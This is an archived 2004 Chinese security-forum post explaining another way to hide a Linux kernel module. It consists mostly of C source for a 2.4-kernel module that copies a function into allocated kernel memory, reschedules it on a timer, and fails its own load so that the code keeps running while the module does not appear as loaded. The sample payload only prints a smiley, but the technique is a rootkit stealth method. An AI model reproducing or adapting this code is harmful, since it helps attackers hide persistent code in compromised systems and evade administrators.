邪恶八进制信息安全团队技术讨论组's Archiver

冰血封情 2004-7-10 20:36

[转载]另外一种隐藏LKM的方法

文章作者:teawater
信息来源:linuxforum

[code]//gcc -I /usr/src/linux-2.4/include -c 1.c
#define MODULE
#define __KERNEL__
#define LINUX
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>

#include <linux/types.h>
#include <linux/errno.h>
#include <linux/mm.h>
#include <linux/smp_lock.h>
#include <asm/uaccess.h>
#include <linux/timer.h>

#ifndef list_for_each_safe
#define list_for_each_safe(pos, n, head)
   for (pos = (head)->next, n = pos->next; pos != (head);
      pos = n, n = pos->next)
#endif

struct ghost_struct
{
   struct timer_list    tl;
   char         buf[32];
   int         (*printk)(const char *fmt, ...);
   void         (*add_timer)(struct timer_list *timer)
};

void
ghost(unsigned long ptr)
{
   struct ghost_struct    *gs=(struct ghost_struct*)ptr;

   gs->printk(gs->buf);
   gs->tl.expires=jiffies+3*HZ;
   gs->add_timer(&gs->tl);
}

int
init_module(void)
{
   struct ghost_struct    *gs;

   gs=(struct ghost_struct *)kmalloc((unsigned long)init_module-(unsignedlong)ghost+sizeof(struct ghost_struct),GFP_KERNEL);
   if (!gs) {
      printk(KERN_EMERG"kmalloc error!n");
      return(-1);
   }
   memcpy((char *)gs+sizeof(struct ghost_struct),(char *)ghost,(unsignedlong)init_module-(unsigned long)ghost);
   init_timer(&gs->tl);
   snprintf(gs->buf,32,KERN_EMERG":)n");
   gs->printk=printk;
   gs->tl.function=(char *)gs+sizeof(struct ghost_struct);
   gs->tl.data=(unsigned long)gs;
   gs->tl.expires=jiffies+3*HZ;
   gs->add_timer=add_timer;
   add_timer(&gs->tl);

   return(-1);
}

MODULE_LICENSE("GPL"); [/code]

/*
redhat 9.0 kernel 2.4.20-8 下测试可用
将一块函数拷贝进分配好的一块内存,然后挂到合适的地方,然后到时候就可被执行。
其中比较麻烦的地方是,因为在函数中使用相对寻址的地方很多,在拷贝进新地址后调用自然会出
问题,所以在我这里把相对地址的几个东西都放进了结构里了,这个东西应该是还有别的办法解决
,比如把elf文件弄进个buf,然后象2.6那样在kernel中进行连接。 */

页: [1]
© 1999-2008 EvilOctal Security Team